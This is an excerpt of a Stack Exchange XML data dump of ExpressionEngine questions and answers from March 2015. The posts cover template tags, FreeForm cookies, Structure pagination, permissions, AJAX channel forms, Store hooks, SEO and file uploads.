  <row Id="30616" PostTypeId="2" ParentId="30615" CreationDate="2015-03-19T19:29:57.893" Score="2" Body="&lt;p&gt;Expanding a bit on @CreateSean's comment to your question, you can use the &lt;code&gt;parents:count&lt;/code&gt; and &lt;code&gt;parents:total_results&lt;/code&gt; variables much like you'd use them in the Channel entries tag to generate &quot;wrapper&quot; markup.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;facilities&quot; disable=&quot;categories|member_data|category_fields&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot;}&#xA;&#xA;  {parents}&#xA;      {if parents:count == &quot;1&quot;}&#xA;        &amp;lt;article class=&quot;job_summary&quot;&amp;gt;&#xA;          &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;          &amp;lt;h2&amp;gt;Job Opening&amp;lt;/h2&amp;gt;&#xA;      {/if}&#xA;&#xA;             &amp;lt;a href=&quot;&quot;&amp;gt;&amp;lt;h3&amp;gt;{parents:title}&amp;lt;/h3&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;      {if parents:count == parents:total_results}&#xA;        &amp;lt;/article&amp;gt;&#xA;      {/if}&#xA;  {/parents}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2015-03-19T19:29:57.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30617" PostTypeId="1" CreationDate="2015-03-19T20:30:40.820" Score="0" ViewCount="2074" Body="&lt;p&gt;EE 2.9.2&#xA;FreeForm 4.2.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a somewhat large form where the client expects users to submit it multiple times per visit. They would like to have 8 of the fields be pre-populated after the first submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking this needs to be done with cookies but am unsure of how to get the cookies set using the info entered into the the form. Any thoughts on how best to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have looked at cookie addons, but not sure if they will work or if I should approach this with javascript/jquery.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2018-11-21T12:54:25.883" Title="On Form submit save values to cookie to repopulate form again - FreeForm" Tags="|solspace-freeform|jquery|javascript|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="30618" PostTypeId="2" ParentId="20762" CreationDate="2015-03-19T20:35:37.867" Score="0" Body="&lt;p&gt;I'm having the same issue; did you solve your issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My pagination links/url are changing but the displayed entires is always the same i.e.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;url: &lt;a href=&quot;http://example.com/news/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/news/&lt;/a&gt;&#xA;entries: 1,2,3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;url: ...news/p1&#xA;entries: 1,2,3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I'd expect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;url: &lt;a href=&quot;http://example.com/news/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/news/&lt;/a&gt;&#xA;entries: atricle-1,atricle-2,atricle-3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;url: ...news/p1&#xA;entries: atricle-4,atricle-5,atricle-6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My very basic code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;{exp:channel:entries&#xA;    channel=&quot;news&quot;&#xA;    disable=&quot;categories|category_fields|member_data&quot;&#xA;    orderby=&quot;date&quot;&#xA;    sort=&quot;desc&quot;&#xA;    limit=&quot;3&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;    {title}&#xA;    {paginate}&#xA;    Page {current_page} of {total_pages} pages {pagination_links}&lt;/p&gt;&#xA;    {/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I move the code out of a 'page' defined as a lister in Structure it works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Structure 3.3.14.7&#xA;ExpressionEngine    2.9.2 Build 20141004&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5037" LastActivityDate="2015-03-19T20:35:37.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30619" PostTypeId="1" AcceptedAnswerId="30620" CreationDate="2015-03-19T21:57:18.293" Score="0" ViewCount="20" Body="&lt;p&gt;My site is currently working well when everyone posting is under the Super Admin group, however I'm needing to make another group with the same privilege level as a Super Admin and begin assigning users to that group.  Problem is that when users under this new group try to add pages through Structure, the page is white with nothing returned.  I've run template debugging and have this returned :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/j4mcud87/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/j4mcud87/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If posting as a Super Admin, everything works.  Just when users under this new group post that nothing is coming through on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a generic tag to rule out anything blocking the content e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;site&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works for Super-Admin related content, just not the new group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone experienced anything like this?&lt;/p&gt;&#xA;" OwnerUserId="4976" LastActivityDate="2015-03-19T22:57:35.860" Title="Viewing Entry by non super admin group" Tags="|channel-entries|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30620" PostTypeId="2" ParentId="30619" CreationDate="2015-03-19T22:57:35.860" Score="1" Body="&lt;p&gt;This always boils down to proper User Group permissions. However, I'm guessing you've checked all those settings a billion times over. With that said, check to see if the entry status is changing to &quot;Closed&quot; when users from that new group publish changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the status is in fact changing to &quot;Closed&quot;, all you need to do to fix it is to make sure that all of your Channels have a &quot;Status Group&quot; assigned (you know, the one that contains the Open and Closed status). Admin &gt; Channels &gt; Edit Group Assignments.&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2015-03-19T22:57:35.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30621" PostTypeId="1" AcceptedAnswerId="31042" CreationDate="2015-03-20T03:26:53.360" Score="0" ViewCount="459" Body="&lt;p&gt;I am creating a form using exp:channel:form to add an entry to a channel using ajax I have a hidden title, utl_title fields that are programmatically set and an entry_id field that is initially set to 0.  This works fine, with the data return returned from the ajax call I update the form that is created and set the entry_id field with the return entry_id so that in hopes that when the form is posted again it would update channel entry instead of adding another channel entry.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that everytime the form is posted it creates a new channel entry, is there a way using the ajax option to update the entry that was just previously posted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my form template and the JavaScript code I use to do the ajax call and update the form entry_id field and url parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Template Form&#xA;=============&#xA;{exp:channel:form channel=&quot;ads&quot; json=&quot;yes&quot; datepicker=&quot;no&quot; include_assets=&quot;no&quot; include_jquery=&quot;no&quot; logged_out_member_id=&quot;2&quot;}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;title&quot;       id=&quot;ee_form_title&quot;      value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;url_title&quot;   id=&quot;ee_form_url_title&quot;  value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;ad_email&quot;    id=&quot;ee_form_ad_email&quot;   value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;ad_image&quot;    id=&quot;ee_form_ad_image&quot;   value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;ad_message&quot;  id=&quot;ee_form_ad_message&quot; value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;ad_persona&quot;  id=&quot;ee_form_ad_persona&quot; value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;ad_tagline&quot;  id=&quot;ee_form_ad_tagline&quot; value=&quot;&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&#xA;&#xA;JavaScript&#xA;==========&#xA;$('#publishForm').ajaxForm({&#xA;    dataType: 'json',&#xA;    async: false,&#xA;    cache: false,&#xA;    success: publishFormResponse&#xA;});&#xA;&#xA;&#xA;function publishFormResponse(responseText, statusText, xhr, $form) {&#xA;    if (statusText == &quot;success&quot;) {&#xA;        // xhr.responseJSON.entry_id is always a new incremented id instead of the id from the first form post&#xA;        if (!entry_id) {&#xA;            // Update the form entry_id field and the form entry_id url parameter&#xA;            entry_id = xhr.responseJSON.entry_id;&#xA;            $(&quot;#publishForm .hiddenFields input[name='entry_id']&quot;).val(entry_id);&#xA;            $('#publishForm').attr('action', $('#publishForm').attr('action').replace(&quot;entry_id=0&quot;, &quot;entry_id=&quot;+entry_id));&#xA;        }&#xA;&#xA;    } else {&#xA;        alert('Failed with the following errors: '+data.errors.join(', '));&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2358" LastEditorUserId="2358" LastEditDate="2015-03-21T18:22:17.573" LastActivityDate="2015-04-15T20:29:15.987" Title="exp:channel:form ajax" Tags="|safecracker|ajax|update|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30622" PostTypeId="1" AcceptedAnswerId="30627" CreationDate="2015-03-20T05:06:05.507" Score="0" ViewCount="43" Body="&lt;p&gt;Within two sites under Multiple Site Manager, what would be the easiest way for an editor (ie:from the CP) to move or duplicate an entry from siteA to siteB ?&lt;/p&gt;&#xA;" OwnerUserId="3097" LastActivityDate="2015-03-20T12:00:24.103" Title="MSM Move entry from site A to Site B" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30624" PostTypeId="1" AcceptedAnswerId="30625" CreationDate="2015-03-20T11:37:10.167" Score="2" ViewCount="28" Body="&lt;p&gt;I'm trying to make an extension that allows the user to choose from a list of shipping and billing addresses that they have previously entered. I'm using the store_order_complete_end hook listed here &lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/extension_hooks.html&lt;/a&gt; but I can't access the addresses in the $order object because the $order-&gt;attributes object is a protected attribute. Is there any other way to get the addresses for the order?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function my_store_order_complete_end($order) {&#xA;    $vars = $order-&amp;gt;attributes; // undefined as it's protected&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="961" LastActivityDate="2015-03-20T11:55:42.333" Title="Access shipping/billing using hook in Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30625" PostTypeId="2" ParentId="30624" CreationDate="2015-03-20T11:55:42.333" Score="2" Body="&lt;p&gt;All of the customer attributes are actually accessible as direct members of the &lt;code&gt;$order&lt;/code&gt; object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$order-&amp;gt;billing_first_name&#xA;$order-&amp;gt;billing_last_name&#xA;$order-&amp;gt;billing_address1&#xA;$order-&amp;gt;billing_city&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Etc.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-03-20T11:55:42.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30626" PostTypeId="1" CreationDate="2015-03-20T11:58:02.103" Score="0" ViewCount="114" Body="&lt;p&gt;I've spent so many hours trying to work this issue out. Aggravating. I have a channel &quot;Baler&quot;, this channel has various categories and these categories have sub categories. eg:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Balers&#xA; - Parent Category&#xA;   -  Sub Category&#xA;   -  Sub Category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to display the content for each page based on the last segment of the url. In order to do this do I need to create a structure page for each category(even though when I create a category it is assigned a URL)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now my code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freebie_2 != &quot;&quot; &amp;amp;&amp;amp; freebie_3 == &quot;&quot;}&#xA;&#xA;    {exp:channel:categories &#xA;        channel=&quot;{freebie_1}&quot;&#xA;        style=&quot;linear&quot;&#xA;        category=&quot;{last_segment_category_id}&quot;}&#xA;&#xA;        {if {parent_id} != 0}&#xA;            &amp;lt;div class=&quot;Product1&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;{category_url_title}&quot;&amp;gt;&amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;img src=&quot;{category_image}&quot; alt=&quot;{category_name}&quot; title=&quot;{category_name}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&#xA;    {/exp:channel:categories}&#xA;&#xA;{/if}&#xA;&#xA;{if freebie_2 != &quot;&quot; &amp;amp;&amp;amp; freebie_3 != &quot;&quot;}&#xA;&#xA;    {exp:channel:entries &#xA;        channel=&quot;{freebie_1}&quot; &#xA;        category=&quot;{last_segment_category_id}&quot; &#xA;        paginate=&quot;bottom&quot; limit=&quot;20&quot; dynamic=&quot;no&quot;}&#xA;&#xA;        &amp;lt;div class=&quot;Product1&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;/{freebie_1}{freebie_2}/{page_uri}&quot;&amp;gt;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;img src=&quot;{baler_images}&quot; alt=&quot;{title}&quot; title=&quot;{title}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main issue is, that if I have to add in 500 categories and sub categories, do I need to create all of these as structure pages also? Any help or guidance would be really appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1916" LastEditorUserId="1978" LastEditDate="2015-03-20T12:15:30.267" LastActivityDate="2015-03-20T14:47:23.950" Title="Channel Entries - Structure / Categories / URLs" Tags="|channel-entries|categories|structure|url|child-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30627" PostTypeId="2" ParentId="30622" CreationDate="2015-03-20T12:00:24.103" Score="0" Body="&lt;p&gt;Honestly: copying and pasting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since sites don't share fields, you'd have to setup a custom module which mapped fields between sites, then have it run a script to migrate the content for you. Then add third party fieldtypes into the mix and things could get even more complicated.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-03-20T12:00:24.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30628" PostTypeId="2" ParentId="30617" CreationDate="2015-03-20T12:14:15.347" Score="1" Body="&lt;p&gt;You'll have to write an extension which uses the &lt;a href=&quot;http://www.solspace.com/docs/freeform/extension_hooks/#freeform_module_insert_end&quot; rel=&quot;nofollow&quot;&gt;freeform_module_insert_end&lt;/a&gt; hook to save the cookie (or cookies, depending - cookie size &lt;em&gt;is&lt;/em&gt; an issue, so maybe one cookie per field?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function freeform_module_insert_end($field_input_data, $entry_id, $form_id, $this)&#xA;{&#xA;    $expires = ee()-&amp;gt;localize-&amp;gt;now + 3600;&#xA;    ee()-&amp;gt;input-&amp;gt;set_cookie('freeform_default_name', $field_input_data['name'], $expires);&#xA;    ee()-&amp;gt;input-&amp;gt;set_cookie('freeform_default_email', $field_input_data['email'], $expires);&#xA;    ee()-&amp;gt;input-&amp;gt;set_cookie('freeform_default_phone', $field_input_data['phone'], $expires);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use any cookie add-on - &lt;a href=&quot;https://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo' Variables&lt;/a&gt; is a good one - to get your cookie when building your form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{cookie:exp_freeform_default_name}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that when setting cookies via the EE Input class, the &lt;code&gt;exp_&lt;/code&gt; prefix is added automatically to your cookie name.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-03-20T12:31:23.507" LastActivityDate="2015-03-20T12:31:23.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30629" PostTypeId="2" ParentId="24690" CreationDate="2015-03-20T12:50:06.313" Score="0" Body="&lt;p&gt;So I know this question was posted a while back, but I arrived at it when I had the same problem and thought I would share my solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In exp_cartthrob_settings table in the database, find the rows with the key 'product_channels' and 'product_channel_fields', duplicate these rows and change the site_id and key values to match the site and channel field IDs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was useful for me when I was setting up my MSM second site. Also, I had created the new Products channel first in the MSM site so that I could get the channel field IDs.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2015-03-20T12:50:06.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30630" PostTypeId="2" ParentId="30610" CreationDate="2015-03-20T13:21:08.787" Score="0" Body="&lt;p&gt;Flipping your example around, you can make the relationship field on the child entry. Then add the parent entry to that newly created child by grabbing it from the segment and using hidden playa input(s).&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2015-03-20T13:21:08.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30631" PostTypeId="2" ParentId="30626" CreationDate="2015-03-20T14:47:23.950" Score="-1" Body="&lt;p&gt;The point of using freebie is that you shouldn't need to add them as actual pages.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2015-03-20T14:47:23.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30632" PostTypeId="1" CreationDate="2015-03-20T14:51:00.190" Score="0" ViewCount="45" Body="&lt;p&gt;What does Low Events expect as a value for the &lt;code&gt;lang&lt;/code&gt; parameter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to pass Publisher's &lt;code&gt;{publisher:current_language_id}&lt;/code&gt;, &lt;code&gt;{publisher:current_language_code}&lt;/code&gt; and &lt;code&gt;{publisher:current_language_prefix}&lt;/code&gt;, but the dates will not get translated.&#xA;I even tried hardcoding &lt;code&gt;lang=&quot;2&quot;&lt;/code&gt;, but it won't get the english translation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:entries &#xA;channel=&quot;channel&quot; limit=&quot;3&quot; &#xA;lang=&quot;{publisher:current_language_id}&quot; &#xA;show_passed=&quot;yes&quot; &#xA;show_upcoming=&quot;yes&quot; unit=&quot;custom&quot; &#xA;date_from=&quot;-1 year&quot; &#xA;date_to=&quot;+1 year&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1148" LastEditorUserId="1148" LastEditDate="2015-03-20T21:26:35.530" LastActivityDate="2016-05-25T11:01:36.270" Title="lang parameter in Low Events with Publisher" Tags="|date|low|low-events|localization|publisher|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30634" PostTypeId="1" CreationDate="2015-03-20T18:08:19.650" Score="0" ViewCount="496" Body="&lt;p&gt;I'm running EE v2.9.2 and Cartthrob 2.61&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The store processes the order and send the notification, on return, I receive the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;Unable to locate the model you have specified: discount_model&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help &amp;amp; insight is appreciated.  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6148" LastActivityDate="2021-11-05T15:01:55.250" Title="Error: Unable to locate the model you have specified: discount_model on Cartthrob" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30635" PostTypeId="1" CreationDate="2015-03-20T19:09:39.877" Score="1" ViewCount="126" Body="&lt;p&gt;What's better from a SEO perspective?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I normally generate a lot of my page dynamically using only one template and segments. But for SEO purposes is it better (?) to create a static template for each distinct page type?&lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2015-12-17T14:59:39.237" Title="General SEO page question - dynamic vs static?" Tags="|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30636" PostTypeId="2" ParentId="30635" CreationDate="2015-03-20T19:29:52.373" Score="2" Body="&lt;p&gt;Those things do not matter. Some important SEO stuff:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are your page urls consistent and do they always load the same content? Will&#xA;/segment1/segment2/segment3 always show the same main content (things like sidebar ads always change and isn't penalized)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the segment paths make sense?&#xA;This is good:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/blog/jchrono-battle/why-i-use-expression-engine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is bad:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/templates/blogtemplate_1/jchrono-battle/12345&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does your HTML structure follow best practices for HTML5, using modern tags to create better crawlable structures&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;header&amp;gt;&#xA;    &amp;lt;nav&amp;gt; &#xA;        &amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Nav here!&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;&amp;lt;/header&amp;gt;&#xA;&amp;lt;article&amp;gt;&#xA;    &amp;lt;h1&amp;gt;Article Title&amp;lt;/h1&amp;gt;    &#xA;    &amp;lt;section&amp;gt;Article section&amp;lt;/section&amp;gt;&#xA;    &amp;lt;section&amp;gt;Article section&amp;lt;/section&amp;gt;&#xA;    &amp;lt;aside&amp;gt;Side note!&amp;lt;/aside&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;&amp;lt;footer&amp;gt;&#xA;    Footer here!&#xA;&amp;lt;/footer&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of being blogged down by &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt; &amp;lt;div&amp;gt; &amp;lt;div&amp;gt; .... &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The bottom line is that &lt;em&gt;how&lt;/em&gt; you generate your HTML output doesn't matter, it's all the best practices for SEO you put on top of those URL schemes and generated pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; This post isn't meant to be all encompassing, but AllInOne mentioned one of the more important aspects of SEO optimization (thanks!). Page time to load and render is weighted pretty importantly, so make sure you are keeping your styles minified and combined, and your JS minified, combined, and (where appropriate) mangled. Also don't forget to use appropriate image sizes and formats. Don't load a 2000x2000px PNG file with a 500x500px jpeg works in place (extreme example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lmgtfy.com/?q=SEO+Best+Practices&quot; rel=&quot;nofollow&quot;&gt;http://lmgtfy.com/?q=SEO+Best+Practices&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a million resources for what is &lt;em&gt;best&lt;/em&gt; here and it can be conflicting, so I'd suggest looking towards articles by the crawlers (google, bing, yahoo) on what matters the most.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some good starters:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bing.com/toolbox/seo-analyzer&quot; rel=&quot;nofollow&quot;&gt;http://www.bing.com/toolbox/seo-analyzer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://static.googleusercontent.com/media/www.google.com/en/us/webmasters/docs/search-engine-optimization-starter-guide.pdf&quot; rel=&quot;nofollow&quot;&gt;http://static.googleusercontent.com/media/www.google.com/en/us/webmasters/docs/search-engine-optimization-starter-guide.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.google.com/webmasters/answer/70897&quot; rel=&quot;nofollow&quot;&gt;https://support.google.com/webmasters/answer/70897&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-12-17T14:59:39.237" LastActivityDate="2015-12-17T14:59:39.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30637" PostTypeId="1" AcceptedAnswerId="30730" CreationDate="2015-03-20T19:31:46.973" Score="3" ViewCount="216" Body="&lt;p&gt;I'm adding Store to a site with a channel of existing products. Store installed correctly and works. I was getting this error when trying to add a product to my cart:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The form you submitted contained the following errors&#xA;Store: Can't find product (entry ID: 8238, modifiers [])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I figured out that if I add price to a product and save it in the Control Panel, it will allow me to add to cart. Since there are over 1000 products, I ran a sql to insert a row for each product entry_id into exp_store_products with a price of 0 and the other columns default, as this is the data that appeared to change when I added a price and saved the first product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also added [store] to the custom Store field for the products channel, as that is what I saw in the products I had saved already. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still get the same error with all products, though in the Control Panel edit page for the entries the price shows up. Unless I save each product, its not working. I looked for some array stored somewhere, a cache file, etc. of all the entries that Store considers products, but don't see one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else can I do in bulk to get all these products to add to the cart? I don't want to click save on 1000 products in the Control Panel.&lt;/p&gt;&#xA;" OwnerUserId="149" LastActivityDate="2015-03-26T01:51:50.593" Title="Store: Can't find product error" Tags="|expresso-store|error|product|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30638" PostTypeId="1" AcceptedAnswerId="30641" CreationDate="2015-03-20T20:27:33.310" Score="0" ViewCount="435" Body="&lt;p&gt;I don't think I quite understand from the EE documentation how to upload a file using a Channel Form (previously SafeCracker).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to upload my sermon audio files into the sermons upload path (&lt;a href=&quot;http://example.com/sermon-files/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/sermon-files/&lt;/a&gt;). The file channel field I have is called {sermon_file}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code from the documentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; name=&quot;my_field_name&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;my_field_name_directory&quot; value=&quot;1&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;my_field_name_hidden_file&quot; value=&quot;{my_field_name}{file_name}{/my_field_name}&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/.form-group--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assumes that the {exp:channel:form channel=&quot;sermons&quot;} tag is before all this code and contains a submit button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what the heck do I put in these &quot;my_field_name&quot; placeholders?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any help you can offer. Thank you much!&lt;/p&gt;&#xA;" OwnerUserId="6134" LastEditorUserId="6134" LastEditDate="2015-03-20T20:33:11.067" LastActivityDate="2015-03-20T21:56:39.103" Title="Channel Form File Upload Question" Tags="|safecracker|channel|file-uploads|safecracker-file|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
